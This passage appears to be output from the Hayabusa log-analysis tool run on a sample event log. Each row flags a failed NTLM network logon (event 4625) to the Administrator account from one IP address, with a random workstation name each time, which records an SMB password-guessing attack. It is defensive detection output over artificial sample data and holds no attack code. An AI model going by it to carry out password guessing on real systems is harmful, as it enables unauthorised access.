NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YVFm1epksVGO1nFY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YmVehuMHvh5kVqRW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sERZrNUHsKVEShCb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eaSNgw2hvkxLnQF8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FSYOWptgxHYTDv1x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Van1qwuRoWYPWrIY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyLCa9OHocazZKQ2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XxrR5iUsTI9LVnLL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TxMREacN0QfvL51B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7fbzSHaZBDH4zFZZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NgIei0bMIcslJCVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JPoKjwanczELBC5A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QOYMVAnCWB2RFYAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k1S45GBtQ8Uoyilw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.378 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 60oeDAnU41sz1wYg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enjlrrdf6lrm7Bao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 58WzO6wxh7QshZgS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7eZKzHgu5ADLYsWU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uOSK3xC1E5PpBVNM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.598 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vFXasYWGCHbQOWWI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XlYJ3oHYKYhg0KC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.691 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LxOKwi8Q4y2mHBDu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwFKFySH4w2yWtPX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OlwGTGadOEMfUFiM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hZ9WuMoOtxGdwOQn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cCLK0gWvRoz0Ceao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZDrcOxtm2fHXK5pO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pm2tPGetcAJkSuvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FBskiUSfF2ghuDcF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZJal2nq3JAk6I2S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y9ek0Sl1ikhIfIb6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.141 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eHrn5Tp9JtnAgCbE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k7tR8gp2piqqixqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SqSBRMoiFeWe4FAt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nu4m1xKDU0OUkoR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.354 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gui98cdQHPgyNOZI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bm4U7TAfsPTEiygC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fDOoaVWVFAMLiA71 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qiJeLgInEkHffefo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWyguWQP2iYUArhD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.595 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vDa3GqsTMMXguFhi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lr0lkAcdnji1zjW4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4WfNFd5MkQxaxHGP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j8hdPhtxP4Ds65yV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y2BBoWoXWXuRysTx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6GEhZ2BduHwjJj9H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GbwEHQCAUJd64LlA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wGfoObbN8ioefyce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iLHhCgHvmOzoLLqG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9KL69y47DMyFOWT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.098 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ECuVYiqdMw2dMjT6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YJCYumRekD7AREYQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0H4OxKzoemZrsosT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSHnvxa0khWdWBVx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bJkPp0bghDCPYz52 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SfHRWGXjCej9HSPb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.383 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X42H7EvrvzsRqXWO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: moo42NdOq30Gnz3T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A4NHVYxxDkCOsQw8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iPUiW0vFQB405kwS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OtcZ4ymkeLHeU7YJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZxZCDKWtqkGJ0dnw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f4GGnhttZgmRPRJo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.716 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gI0j9w45eXEFeex3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BVZ2YRDUAOsNgKxo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJfIpxlcwVf7pWga : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Oerixd9ODF6fslsC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbJC5yvrIymYgaHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.951 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4schZcUP8Im8Ee1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WotargyGlEq9PBch : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2JSMrPoucOR0nzlD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jr4w4uoF2DVZ5n9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v319oZIaOBpuf542 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GNRTL9BLlGWMx6dA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zHlDIOZ9B5uY8Rzz : IP Address: 192.168.198.149 : AuthPackage: 